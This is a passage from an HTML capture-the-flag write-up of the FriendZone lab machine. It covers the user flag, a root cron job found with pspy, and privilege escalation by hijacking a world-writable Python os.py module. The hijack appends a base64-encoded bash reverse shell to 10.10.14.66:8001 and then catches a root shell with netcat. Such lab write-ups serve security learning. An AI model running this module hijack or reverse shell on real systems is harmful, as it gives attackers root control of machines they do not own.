  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh friend@friendzone.red</span>
<span class="cmd-output">
Warning: Permanently added 'friendzone.red' (ED25519) to the list of known hosts.
friend@friendzone.red's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1000(friend) gid=1000(friend) groups=1000(friend),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat user.txt</span>

<span class="linux-output">85f7a897************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h2 id="escalation-from-friend">Escalation from <code class="language-plaintext highlighter-rouge">friend</code>:</h2>
<h3 id="cron-jobs">Cron Jobs:</h3>

<p>Root is running <code class="language-plaintext highlighter-rouge">/opt/server_admin/reporter.py</code> every few minutes.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">./pspy64</span>

<span class="linux-output">pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/11/13 16:25:20 CMD: UID=1000  PID=3262   | ./pspy64 
2025/11/13 16:25:20 CMD: UID=0     PID=3245   | 
2025/11/13 16:25:20 CMD: UID=1000  PID=3227   | -bash 
2025/11/13 16:25:20 CMD: UID=1000  PID=3224   | sshd: friend@pts/1   
2025/11/13 16:25:20 CMD: UID=1000  PID=3188   | (sd-pam) 
2025/11/13 16:25:20 CMD: UID=1000  PID=3187   | /lib/systemd/systemd --user
..SNIP..
2025/11/13 16:25:20 CMD: UID=0     PID=2      | 
2025/11/13 16:25:20 CMD: UID=0     PID=1      | /sbin/init splash 
2025/11/13 16:26:01 CMD: UID=0     PID=3273   | /usr/bin/python /opt/server_admin/reporter.py 
2025/11/13 16:26:01 CMD: UID=0     PID=3272   | /bin/sh -c /opt/server_admin/reporter.py 
2025/11/13 16:26:01 CMD: UID=0     PID=3271   | /usr/sbin/CRON -f
..SNIP..
2025/11/13 16:28:01 CMD: UID=0     PID=3293   | /usr/bin/python /opt/server_admin/reporter.py 
2025/11/13 16:28:01 CMD: UID=0     PID=3292   | /bin/sh -c /opt/server_admin/reporter.py 
2025/11/13 16:28:01 CMD: UID=0     PID=3291   | /usr/sbin/CRON -f</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, the script itself does nothing:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="n">to_address</span> <span class="o">=</span> <span class="sh">"</span><span class="s">admin1@friendzone.com</span><span class="sh">"</span>
<span class="n">from_address</span> <span class="o">=</span> <span class="sh">"</span><span class="s">admin2@friendzone.com</span><span class="sh">"</span>

<span class="k">print</span> <span class="sh">"</span><span class="s">[+] Trying to send email to %s</span><span class="sh">"</span><span class="o">%</span><span class="n">to_address</span>

<span class="c1">#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
</span>
<span class="c1">#os.system(command)
</span>
<span class="c1"># I need to edit the script later
# Sam ~ python developer
</span></code></pre></div></div>
<p><br />
<code class="language-plaintext highlighter-rouge">friend</code> doesn’t own this script, nor have write access.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la /opt/server_admin/reporter.py</span>

<span class="linux-output">-rwxr--r-- 1 root root 424 Jan 16  2019 /opt/server_admin/reporter.py</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, it can modify <code class="language-plaintext highlighter-rouge">/user/lib/python2.7/os.py</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">find / -path /proc -prune -o -type f -writable 2&gt;/dev/null</span>

<span class="linux-output">/etc/Development/shell.php
/var/mail/friend
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.access
/sys/fs/cgroup/memory/cgroup.event_control
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/cgroup.clone_children
..SNIP..
/usr/lib/python2.7/os.pyc
/usr/lib/python2.7/os.py
/proc</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="python-module-hijack">Python Module Hijack:</h3>

<p>According to <a href="https://docs.python.org/3/tutorial/modules.html">Python docs</a>,</p>

<blockquote>
  <p>A module is a file containing Python definitions and statements. The file name is the module name with the suffix <code class="language-plaintext highlighter-rouge">.py</code> appended.</p>

  <p>…</p>

  <p>A module can contain executable statements as well as function definitions. They are executed only the first time the module name is encounted in an import statement.</p>
</blockquote>

<p>Basically, when <code class="language-plaintext highlighter-rouge">reporter.py</code> imports the os module, it loads and executes <code class="language-plaintext highlighter-rouge">os.py</code> first, making its namespaces and functions available. Since I have write access to the module, I effective have control over <code class="language-plaintext highlighter-rouge">reporter.py</code> (and hence the cron job) as well.</p>

<p>I’ll append a system call to the library, reusing the reverse shell payload from earlier:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">friend@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">echo 'system("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ== | base64 -d | bash")' &gt;&gt; /usr/lib/python2.7/os.py</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>After a minute or so, a root shell was sent back:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.47] 59564
bash: cannot set terminal process group (3416): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=0(root) gid=0(root) groups=0(root)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

